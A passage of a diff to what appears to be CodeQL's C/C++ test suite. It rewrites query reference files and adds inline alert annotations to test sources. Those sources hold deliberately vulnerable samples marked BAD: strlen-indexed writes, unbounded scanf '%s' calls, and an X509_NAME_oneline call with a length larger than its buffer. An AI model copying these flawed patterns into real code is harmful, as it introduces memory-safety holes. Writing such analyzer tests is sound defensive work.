if(b1||b2&&b3) //BAD + if(b1||b2&&b3) //BAD // $ Alert return; if((b1||b2)&&b3) //GOOD return; if(b1||(b2&&b3)) //GOOD return; - if(b1||b2&i1) //BAD + if(b1||b2&i1) //BAD // $ Alert return; if((b1||b2)&i1) //GOOD return; @@ -16,26 +16,26 @@ void testFunction(int i1, int i2, int i3, bool b1, bool b2, bool b3, char c1) return; if(b1&&b2&0) //GOOD return; - if(b1||b2|i1) //BAD + if(b1||b2|i1) //BAD // $ Alert return; if((b1||b2)|i1) //GOOD return; - if(i1|i2&c1) //BAD + if(i1|i2&c1) //BAD // $ Alert return; if((i1|i2)&i3) //GOOD return; - if(i1^i2&c1) //BAD + if(i1^i2&c1) //BAD // $ Alert return; if((i1^i2)&i3) //GOOD return; - if(i1|i2^c1) //BAD + if(i1|i2^c1) //BAD // $ Alert return; if((i1|i2)^i3) //GOOD return; - if(b1|b2^b3) //BAD + if(b1|b2^b3) //BAD // $ Alert return; if((b1|b2)^b3) //GOOD return; diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qlref index 6ba005d087a6..c3aaa7d65a08 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql +query: experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/OperatorPrecedenceLogicErrorWhenUseBoolType.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/OperatorPrecedenceLogicErrorWhenUseBoolType.qlref index 5189abcce5d1..47c4540803df 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/OperatorPrecedenceLogicErrorWhenUseBoolType.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/OperatorPrecedenceLogicErrorWhenUseBoolType.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-783/OperatorPrecedenceLogicErrorWhenUseBoolType.ql +query: experimental/Security/CWE/CWE-783/OperatorPrecedenceLogicErrorWhenUseBoolType.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c index a204aa4db29e..1fb546aa6965 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c @@ -13,15 +13,15 @@ void strlen_test1(){ struct buffers buffAll; struct buffers * buffAll1; - buff1[strlen(buff1)]=0; // BAD - buffAll.array[strlen(buffAll.array)]=0; // BAD - buffAll.pointer[strlen(buffAll.pointer)]=0; // BAD - buffAll1->array[strlen(buffAll1->array)]=0; // BAD - buffAll1->pointer[strlen(buffAll1->pointer)]=0; // BAD - globalBuff1.array[strlen(globalBuff1.array)]=0; // BAD - globalBuff1.pointer[strlen(globalBuff1.pointer)]=0; // BAD - globalBuff2->array[strlen(globalBuff2->array)]=0; // BAD - globalBuff2->pointer[strlen(globalBuff2->pointer)]=0; // BAD + buff1[strlen(buff1)]=0; // BAD // $ Alert[cpp/access-memory-location-after-end-buffer-strlen] + buffAll.array[strlen(buffAll.array)]=0; // BAD // $ Alert[cpp/access-memory-location-after-end-buffer-strlen] + buffAll.pointer[strlen(buffAll.pointer)]=0; // BAD // $ Alert[cpp/access-memory-location-after-end-buffer-strlen] + buffAll1->array[strlen(buffAll1->array)]=0; // BAD // $ Alert[cpp/access-memory-location-after-end-buffer-strlen] + buffAll1->pointer[strlen(buffAll1->pointer)]=0; // BAD // $ Alert[cpp/access-memory-location-after-end-buffer-strlen] + globalBuff1.array[strlen(globalBuff1.array)]=0; // BAD // $ Alert[cpp/access-memory-location-after-end-buffer-strlen] + globalBuff1.pointer[strlen(globalBuff1.pointer)]=0; // BAD // $ Alert[cpp/access-memory-location-after-end-buffer-strlen] + globalBuff2->array[strlen(globalBuff2->array)]=0; // BAD // $ Alert[cpp/access-memory-location-after-end-buffer-strlen] + globalBuff2->pointer[strlen(globalBuff2->pointer)]=0; // BAD // $ Alert[cpp/access-memory-location-after-end-buffer-strlen] } void strlen_test2(){ diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.cpp index f08d2a45757f..7f12385e68f0 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.cpp @@ -7,13 +7,13 @@ void testFunction() int i1,i2,i3; bool b1,b2,b3; char c1,c2,c3; - b1 = -b2; //BAD + b1 = -b2; //BAD // $ Alert[cpp/operator-precedence-logic-error-when-use-bool-type] b1 = !b2; //GOOD - b1++; //BAD - ++b1; //BAD - if(i1=tmpFunc()!=i2) //BAD + b1++; //BAD // $ Alert[cpp/operator-precedence-logic-error-when-use-bool-type] + ++b1; //BAD // $ Alert[cpp/operator-precedence-logic-error-when-use-bool-type] + if(i1=tmpFunc()!=i2) //BAD // $ Alert[cpp/operator-precedence-logic-error-when-use-bool-type] return; - if(i1=tmpFunc()!=11) //BAD + if(i1=tmpFunc()!=11) //BAD // $ Alert[cpp/operator-precedence-logic-error-when-use-bool-type] return; if((i1=tmpFunc())!=i2) //GOOD return; diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-805/semmle/tests/BufferAccessWithIncorrectLengthValue.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-805/semmle/tests/BufferAccessWithIncorrectLengthValue.qlref index 6cbb55272112..e92957d34a80 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-805/semmle/tests/BufferAccessWithIncorrectLengthValue.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-805/semmle/tests/BufferAccessWithIncorrectLengthValue.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-805/BufferAccessWithIncorrectLengthValue.ql +query: experimental/Security/CWE/CWE-805/BufferAccessWithIncorrectLengthValue.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-805/semmle/tests/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-805/semmle/tests/test.cpp index 26c33abab65d..6ba895650472 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-805/semmle/tests/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-805/semmle/tests/test.cpp @@ -24,7 +24,7 @@ bool badTest1(SSL *ssl,char *text) char buf[256]; if( peer = SSL_get_peer_certificate(ssl)) { - X509_NAME_oneline(X509_get_subject_name(peer),buf,1024); // BAD + X509_NAME_oneline(X509_get_subject_name(peer),buf,1024); // BAD // $ Alert if((char*)strcasestr(buf,text)) return true; } return false; diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.cpp index 09506cbc0878..1c0f53829356 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.cpp @@ -16,7 +16,7 @@ int main(int argc, char **argv) // BAD, do not use scanf without specifying a length first char buf1[10]; - scanf("%s", buf1); + scanf("%s", buf1); // $ Alert // GOOD, length is specified. The length should be one less than the size of the destination buffer, since the last character is the NULL terminator. char buf2[20]; @@ -25,7 +25,7 @@ int main(int argc, char **argv) // BAD, do not use scanf without specifying a length first char file[10]; - fscanf(file, "%s", buf2); + fscanf(file, "%s", buf2); // $ Alert // GOOD, with 'sscanf' the input can be checked first and enough room allocated [FALSE POSITIVE] if (argc >= 1) @@ -33,7 +33,7 @@ int main(int argc, char **argv) char *src = argv[0]; char *dest = (char *)malloc(strlen(src) + 1); - sscanf(src, "%s", dest); + sscanf(src, "%s", dest); // $ Alert } return 0; diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.qlref index 428d988a161d..b8d5ea8dbe32 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/semmle/tests/MemoryUnsafeFunctionScan.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-120/MemoryUnsafeFunctionScan.ql \ No newline at end of file +query: experimental/Security/CWE/CWE-120/MemoryUnsafeFunctionScan.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/library-tests/c11_generic/PrintAST.qlref b/cpp/ql/test/library-tests/c11_generic/PrintAST.qlref index 6f85a6dbe693..645e39136f5b 100644 --- a/cpp/ql/test/library-tests/c11_generic/PrintAST.qlref +++ b/cpp/ql/test/library-tests/c11_generic/PrintAST.qlref @@ -1 +1 @@ -semmle/code/cpp/PrintAST.ql +query: semmle/code/cpp/PrintAST.ql diff --git a/cpp/ql/test/library-tests/conversions/consistency.qlref b/cpp/ql/test/library-tests/conversions/consistency.qlref index 183c1b1ffe14..e4b883a499af 100644 --- a/cpp/ql/test/library-tests/conversions/consistency.qlref +++ b/cpp/ql/test/library-tests/conversions/consistency.qlref @@ -1 +1 @@ -semmle/code/cpp/ASTConsistency.ql +query: semmle/code/cpp/ASTConsistency.ql diff --git a/cpp/ql/test/library-tests/extraction_errors/CompilerErrors.qlref b/cpp/ql/test/library-tests/extraction_errors/CompilerErrors.qlref index fd0c287c00dc..85408a38cdfe 100644 --- a/cpp/ql/test/library-tests/extraction_errors/CompilerErrors.qlref +++ b/cpp/ql/test/library-tests/extraction_errors/CompilerErrors.qlref @@ -1 +1 @@ -Telemetry/CompilerErrors.ql +query: Telemetry/CompilerErrors.ql diff --git a/cpp/ql/test/library-tests/extraction_errors/DatabaseQuality.qlref b/cpp/ql/test/library-tests/extraction_errors/DatabaseQuality.qlref index b2c536f00d70..9e81d9d21602 100644 --- a/cpp/ql/test/library-tests/extraction_errors/DatabaseQuality.qlref +++ b/cpp/ql/test/library-tests/extraction_errors/DatabaseQuality.qlref @@ -1 +1 @@ -Telemetry/DatabaseQuality.ql +query: Telemetry/DatabaseQuality.ql diff --git a/cpp/ql/test/library-tests/extraction_errors/ExtractionMetrics.qlref b/cpp/ql/test/library-tests/extraction_errors/ExtractionMetrics.qlref index 80547fdfd981..1e0348487e8a 100644 --- a/cpp/ql/test/library-tests/extraction_errors/ExtractionMetrics.qlref +++ b/cpp/ql/test/library-tests/extraction_errors/ExtractionMetrics.qlref @@ -1 +1 @@ -Telemetry/ExtractionMetrics.ql \ No newline at end of file +query: Telemetry/ExtractionMetrics.ql diff --git a/cpp/ql/test/library-tests/extraction_errors/SucceededIncludes.qlref b/cpp/ql/test/library-tests/extraction_errors/SucceededIncludes.qlref index 055b6af49a75..949a011697de 100644 --- a/cpp/ql/test/library-tests/extraction_errors/SucceededIncludes.qlref +++ b/cpp/ql/test/library-tests/extraction_errors/SucceededIncludes.qlref @@ -1 +1 @@ -Telemetry/SucceededIncludes.ql +query: Telemetry/SucceededIncludes.ql diff --git a/cpp/ql/test/library-tests/ir/ir/aliased_ssa_consistency_unsound.qlref b/cpp/ql/test/library-tests/ir/ir/aliased_ssa_consistency_unsound.qlref index 0c9100ea0432..4e659ed8cc91 100644 --- a/cpp/ql/test/library-tests/ir/ir/aliased_ssa_consistency_unsound.qlref +++ b/cpp/ql/test/library-tests/ir/ir/aliased_ssa_consistency_unsound.qlref @@ -1 +1 @@ -semmle/code/cpp/ir/IRConsistency.ql \ No newline at end of file +query: semmle/code/cpp/ir/IRConsistency.ql diff --git a/cpp/ql/test/library-tests/ir/ir/aliased_ssa_ssa_consistency_unsound.qlref b/cpp/ql/test/library-tests/ir/ir/aliased_ssa_ssa_consistency_unsound.qlref index d0a29f0641af..11a9e601a070 100644 --- a/cpp/ql/test/library-tests/ir/ir/aliased_ssa_ssa_consistency_unsound.qlref +++ b/cpp/ql/test/library-tests/ir/ir/aliased_ssa_ssa_consistency_unsound.qlref @@ -1 +1 @@ -semmle/code/cpp/ir/implementation/aliased_ssa/internal/SSAConsistency.ql \ No newline at end of file +query: semmle/code/cpp/ir/implementation/aliased_ssa/internal/SSAConsistency.ql diff --git a/cpp/ql/test/library-tests/ir/ir/raw_consistency.qlref b/cpp/ql/test/library-tests/ir/ir/raw_consistency.qlref index eb7cc77b3164..6c4fdc743eb7 100644 --- a/cpp/ql/test/library-tests/ir/ir/raw_consistency.qlref +++ b/cpp/ql/test/library-tests/ir/ir/raw_consistency.qlref @@ -1 +1 @@ -semmle/code/cpp/ir/implementation/raw/IRConsistency.ql \ No newline at end of file +query: semmle/code/cpp/ir/implementation/raw/IRConsistency.ql diff --git a/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_consistency_unsound.qlref b/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_consistency_unsound.qlref index 1d0a35439328..a7c519f7dcd2 100644 --- a/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_consistency_unsound.qlref +++ b/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_consistency_unsound.qlref @@ -1 +1 @@ -semmle/code/cpp/ir/implementation/unaliased_ssa/IRConsistency.ql \ No newline at end of file +query: semmle/code/cpp/ir/implementation/unaliased_ssa/IRConsistency.ql diff --git a/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_ssa_consistency_unsound.qlref b/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_ssa_consistency_unsound.qlref index fd03efbc2674..3ac4894b14eb 100644 --- a/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_ssa_consistency_unsound.qlref +++ b/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_ssa_consistency_unsound.qlref @@ -1 +1 @@ -semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SSAConsistency.ql \ No newline at end of file +query: semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SSAConsistency.ql diff --git a/cpp/ql/test/library-tests/ir/ssa/aliased_ssa_consistency_unsound.qlref b/cpp/ql/test/library-tests/ir/ssa/aliased_ssa_consistency_unsound.qlref index 0c9100ea0432..4e659ed8cc91 100644 --- a/cpp/ql/test/library-tests/ir/ssa/aliased_ssa_consistency_unsound.qlref +++ b/cpp/ql/test/library-tests/ir/ssa/aliased_ssa_consistency_unsound.qlref @@ -1 +1 @@ -semmle/code/cpp/ir/IRConsistency.ql \ No newline at end of file +query: semmle/code/cpp/ir/IRConsistency.ql diff --git a/cpp/ql/test/library-tests/ir/ssa/aliased_ssa_ir_unsound.qlref b/cpp/ql/test/library-tests/ir/ssa/aliased_ssa_ir_unsound.qlref index 7d4b2950a35a..981d95d44004 100644 --- a/cpp/ql/test/library-tests/ir/ssa/aliased_ssa_ir_unsound.qlref +++ b/cpp/ql/test/library-tests/ir/ssa/aliased_ssa_ir_unsound.qlref @@ -1 +1 @@ -semmle/code/cpp/ir/PrintIR.ql \ No newline at end of file +query: semmle/code/cpp/ir/PrintIR.ql diff --git a/cpp/ql/test/library-tests/ir/ssa/aliased_ssa_ssa_consistency_unsound.qlref b/cpp/ql/test/library-tests/ir/ssa/aliased_ssa_ssa_consistency_unsound.qlref index d0a29f0641af..11a9e601a070 100644 --- a/cpp/ql/test/library-tests/ir/ssa/aliased_ssa_ssa_consistency_unsound.qlref +++ b/cpp/ql/test/library-tests/ir/ssa/aliased_ssa_ssa_consistency_unsound.qlref @@ -1 +1 @@ -semmle/code/cpp/ir/implementation/aliased_ssa/internal/SSAConsistency.ql \ No newline at end of file +query: semmle/code/cpp/ir/implementation/aliased_ssa/internal/SSAConsistency.ql diff --git a/cpp/ql/test/library-tests/ir/ssa/unaliased_ssa_consistency_unsound.qlref b/cpp/ql/test/library-tests/ir/ssa/unaliased_ssa_consistency_unsound.qlref index 1d0a35439328..a7c519f7dcd2 100644 --- a/cpp/ql/test/library-tests/ir/ssa/unaliased_ssa_consistency_unsound.qlref +++ b/cpp/ql/test/library-tests/ir/ssa/unaliased_ssa_consistency_unsound.qlref @@ -1 +1 @@ -semmle/code/cpp/ir/implementation/unaliased_ssa/IRConsistency.ql \ No newline at end of file +query: semmle/code/cpp/ir/implementation/unaliased_ssa/IRConsistency.ql diff --git a/cpp/ql/test/library-tests/ir/ssa/unaliased_ssa_ir_unsound.qlref b/cpp/ql/test/library-tests/ir/ssa/unaliased_ssa_ir_unsound.qlref index 3f7764440366..ad25a00416be 100644 --- a/cpp/ql/test/library-tests/ir/ssa/unaliased_ssa_ir_unsound.qlref +++ b/cpp/ql/test/library-tests/ir/ssa/unaliased_ssa_ir_unsound.qlref @@ -1 +1 @@ -semmle/code/cpp/ir/implementation/unaliased_ssa/PrintIR.ql \ No newline at end of file +query: semmle/code/cpp/ir/implementation/unaliased_ssa/PrintIR.ql diff --git a/cpp/ql/test/library-tests/ir/ssa/unaliased_ssa_ssa_consistency_unsound.qlref b/cpp/ql/test/library-tests/ir/ssa/unaliased_ssa_ssa_consistency_unsound.qlref index fd03efbc2674..3ac4894b14eb 100644 --- a/cpp/ql/test/library-tests/ir/ssa/unaliased_ssa_ssa_consistency_unsound.qlref +++ b/cpp/ql/test/library-tests/ir/ssa/unaliased_ssa_ssa_consistency_unsound.qlref @@ -1 +1 @@ -semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SSAConsistency.ql \ No newline at end of file +query: semmle/code/cpp/ir/implementation/unaliased_ssa/internal/SSAConsistency.ql diff --git a/cpp/ql/test/library-tests/lossy_pointer_cast/lossy_pointer_cast.c b/cpp/ql/test/library-tests/lossy_pointer_cast/lossy_pointer_cast.c index 8f76cdb42f20..4c91a819add6 100644 --- a/cpp/ql/test/library-tests/lossy_pointer_cast/lossy_pointer_cast.c +++ b/cpp/ql/test/library-tests/lossy_pointer_cast/lossy_pointer_cast.c @@ -6,11 +6,11 @@ void f(void) { long long int z; z = (long long int)p1; // OK: long long int is big enough - i = (short int)p2; // Bad: short is too small + i = (short int)p2; // Bad: short is too small // $ Alert i = (short int)(long long int)p3; // OK: we assume they know what // they are doing if they go // via a large-enough type - i = (short int)(void *)p4; // Bad: Going via a pointer type is + i = (short int)(void *)p4; // Bad: Going via a pointer type is // $ Alert // not convincing } diff --git a/cpp/ql/test/library-tests/lossy_pointer_cast/lossy_pointer_cast.qlref b/cpp/ql/test/library-tests/lossy_pointer_cast/lossy_pointer_cast.qlref index d202b53c6aa6..69e313c34ee4 100644 --- a/cpp/ql/test/library-tests/lossy_pointer_cast/lossy_pointer_cast.qlref +++ b/cpp/ql/test/library-tests/lossy_pointer_cast/lossy_pointer_cast.qlref @@ -1 +1,2 @@ -Likely Bugs/Conversion/LossyPointerCast.ql +query: Likely Bugs/Conversion/LossyPointerCast.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/library-tests/name_qualifiers/NameQualifiers1.expected b/cpp/ql/test/library-tests/name_qualifiers/NameQualifiers1.expected index 72d7d615c815..b5f2fe8dd744 100644 --- a/cpp/ql/test/library-tests/name_qualifiers/NameQualifiers1.expected +++ b/cpp/ql/test/library-tests/name_qualifiers/NameQualifiers1.expected @@ -1,3 +1,7 @@ +| inconsistency2.cpp:3:3:3:5 | T:: | inconsistency2.cpp:3:3:3:6 | x | inconsistency2.cpp:2:20:2:20 | T | +| inconsistency2.cpp:3:3:3:11 | const s:: | inconsistency2.cpp:3:3:3:6 | x | file://:0:0:0:0 | const s | +| inconsistency.cpp:7:20:7:22 | S:: | inconsistency.cpp:7:20:7:23 | (int)... | inconsistency.cpp:4:8:4:8 | S | +| inconsistency.cpp:7:20:7:22 | S:: | inconsistency.cpp:7:20:7:23 | A | inconsistency.cpp:4:8:4:8 | S | | name_qualifiers.cpp:29:7:29:8 | :: | name_qualifiers.cpp:29:7:29:9 | x | file://:0:0:0:0 | (global namespace) | | name_qualifiers.cpp:31:7:31:10 | N1:: | name_qualifiers.cpp:31:7:31:12 | nx | name_qualifiers.cpp:4:11:4:12 | N1 | | name_qualifiers.cpp:34:7:34:8 | :: | name_qualifiers.cpp:34:9:34:12 | N1:: | file://:0:0:0:0 | (global namespace) | diff --git a/cpp/ql/test/library-tests/subscript_operator/PrintAST.qlref b/cpp/ql/test/library-tests/subscript_operator/PrintAST.qlref index 6fcb30ac7a6e..645e39136f5b 100644 --- a/cpp/ql/test/library-tests/subscript_operator/PrintAST.qlref +++ b/cpp/ql/test/library-tests/subscript_operator/PrintAST.qlref @@ -1 +1 @@ -semmle/code/cpp/PrintAST.ql \ No newline at end of file +query: semmle/code/cpp/PrintAST.ql diff --git a/cpp/ql/test/library-tests/syntax-zoo/aliased_ssa_consistency.qlref b/cpp/ql/test/library-tests/syntax-zoo/aliased_ssa_consistency.qlref index 0c9100ea0432..4e659ed8cc91 100644 --- a/cpp/ql/test/library-tests/syntax-zoo/aliased_ssa_consistency.qlref +++ b/cpp/ql/test/library-tests/syntax-zoo/aliased_ssa_consistency.qlref @@ -1 +1 @@ -semmle/code/cpp/ir/IRConsistency.ql \ No newline at end of file +query: semmle/code/cpp/ir/IRConsistency.ql diff --git a/cpp/ql/test/library-tests/syntax-zoo/raw_consistency.qlref b/cpp/ql/test/library-tests/syntax-zoo/raw_consistency.qlref index eb7cc77b3164..6c4fdc743eb7 100644 --- a/cpp/ql/test/library-tests/syntax-zoo/raw_consistency.qlref +++ b/cpp/ql/test/library-tests/syntax-zoo/raw_consistency.qlref @@ -1 +1 @@ -semmle/code/cpp/ir/implementation/raw/IRConsistency.ql \ No newline at end of file +query: semmle/code/cpp/ir/implementation/raw/IRConsistency.ql diff --git a/cpp/ql/test/library-tests/syntax-zoo/unaliased_ssa_consistency.qlref b/cpp/ql/test/library-tests/syntax-zoo/unaliased_ssa_consistency.qlref index 1d0a35439328..a7c519f7dcd2 100644 --- a/cpp/ql/test/library-tests/syntax-zoo/unaliased_ssa_consistency.qlref +++ b/cpp/ql/test/library-tests/syntax-zoo/unaliased_ssa_consistency.qlref @@ -1 +1 @@ -semmle/code/cpp/ir/implementation/unaliased_ssa/IRConsistency.ql \ No newline at end of file +query: semmle/code/cpp/ir/implementation/unaliased_ssa/IRConsistency.ql diff --git a/cpp/ql/test/library-tests/types/integral_types_ms/integral_type.qlref b/cpp/ql/test/library-tests/types/integral_types_ms/integral_type.qlref index e5e0e3cdf432..6b61b46a179a 100644 --- a/cpp/ql/test/library-tests/types/integral_types_ms/integral_type.qlref +++ b/cpp/ql/test/library-tests/types/integral_types_ms/integral_type.qlref @@ -1 +1 @@ -../integral_types/integral_type.ql +query: ../integral_types/integral_type.ql diff --git a/cpp/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref b/cpp/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref index 9d7833eccae7..dc898fca718c 100644 --- a/cpp/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref +++ b/cpp/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref @@ -1 +1 @@ -AlertSuppression.ql +query: AlertSuppression.ql diff --git a/cpp/ql/test/query-tests/Architecture/FeatureEnvy/FeatureEnvy.qlref b/cpp/ql/test/query-tests/Architecture/FeatureEnvy/FeatureEnvy.qlref index cbb26c9c3bf3..0c7c0f33b1eb 100644 --- a/cpp/ql/test/query-tests/Architecture/FeatureEnvy/FeatureEnvy.qlref +++ b/cpp/ql/test/query-tests/Architecture/FeatureEnvy/FeatureEnvy.qlref @@ -1 +1,2 @@ -Architecture/FeatureEnvy.ql +query: Architecture/FeatureEnvy.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Architecture/FeatureEnvy/a.cpp b/cpp/ql/test/query-tests/Architecture/FeatureEnvy/a.cpp index 588364e73096..059908b34869 100644 --- a/cpp/ql/test/query-tests/Architecture/FeatureEnvy/a.cpp +++ b/cpp/ql/test/query-tests/Architecture/FeatureEnvy/a.cpp @@ -7,7 +7,7 @@ void local3(void) { } void local4(void) { } void local5(void) { } -void f1(void) { +void f1(void) { // $ Alert g(); h(); i(); @@ -15,7 +15,7 @@ void f1(void) { k(); } -void f2(void) { +void f2(void) { // $ Alert local1(); g(); h(); @@ -45,7 +45,7 @@ void f4(void) { j(); } -void f5(void) { +void f5(void) { // $ Alert MyClass m; m.mg(); diff --git a/cpp/ql/test/query-tests/Architecture/InappropriateIntimacy/InappropriateIntimacy.qlref b/cpp/ql/test/query-tests/Architecture/InappropriateIntimacy/InappropriateIntimacy.qlref index dc7e4d5cd054..18947060c368 100644 --- a/cpp/ql/test/query-tests/Architecture/InappropriateIntimacy/InappropriateIntimacy.qlref +++ b/cpp/ql/test/query-tests/Architecture/InappropriateIntimacy/InappropriateIntimacy.qlref @@ -1 +1 @@ -Architecture/InappropriateIntimacy.ql +query: Architecture/InappropriateIntimacy.ql diff --git a/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/cwmf.cpp b/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/cwmf.cpp index 374ad8b6337b..183cae6b6906 100644 --- a/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/cwmf.cpp +++ b/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/cwmf.cpp @@ -6,12 +6,12 @@ struct aa { TEN(int_f) - TEN(int_g) + TEN(int_g) // $ Alert }; class bb { TEN(int_f) - TEN(int_g) + TEN(int_g) // $ Alert }; union cc_not_flagged_up_because_unions_are_not_classes_in_this_sense { @@ -22,13 +22,13 @@ union cc_not_flagged_up_because_unions_are_not_classes_in_this_sense { template struct dd { TEN(int_f) - TEN(int_g) + TEN(int_g) // $ Alert }; template struct ee { TEN(int_f) - TEN(int_g) + TEN(int_g) // $ Alert }; void instantiate() { @@ -54,10 +54,10 @@ struct MyParticle { unsigned char r2, g2, b2, a2; class texture *tex; - float u1, v1, u2, v2; + float u1, v1, u2, v2; // $ Alert }; -struct MyAlphaClass1 { +struct MyAlphaClass1 { // $ Alert int a1, b1, c1, d1, e1, f1, g1, h1, i1, j1; int k1, l1, m1, n1, o1, p1, q1, r1, s1, t1; int u1, v1, w1, x1, y1, z1; @@ -71,7 +71,7 @@ struct MyAlphaClass1 { int u2, v2, w2, x2, y2, z2; }; -struct MyAlphaClass2 { +struct MyAlphaClass2 { // $ Alert int x; // ... diff --git a/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/cwmf.qlref b/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/cwmf.qlref index 1afc89cceef6..6d9540acb23f 100644 --- a/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/cwmf.qlref +++ b/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/cwmf.qlref @@ -1 +1,2 @@ -Architecture/Refactoring Opportunities/ClassesWithManyFields.ql +query: Architecture/Refactoring Opportunities/ClassesWithManyFields.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/different_types.h b/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/different_types.h index 3e2a6c6e4ced..11aea5dc11c0 100644 --- a/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/different_types.h +++ b/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/different_types.h @@ -30,6 +30,6 @@ class DifferentTypes2 { int j6; int j7; int j8; - int j9; + int j9; // $ Alert }; diff --git a/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ComplexFunctions/ComplexFunctions.qlref b/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ComplexFunctions/ComplexFunctions.qlref index 22bc3d276639..a00aeaa47cf4 100644 --- a/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ComplexFunctions/ComplexFunctions.qlref +++ b/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ComplexFunctions/ComplexFunctions.qlref @@ -1 +1,2 @@ -Architecture/Refactoring Opportunities/ComplexFunctions.ql +query: Architecture/Refactoring Opportunities/ComplexFunctions.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ComplexFunctions/complex.c b/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ComplexFunctions/complex.c index 6499a1bc38de..be209ddbf459 100644 --- a/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ComplexFunctions/complex.c +++ 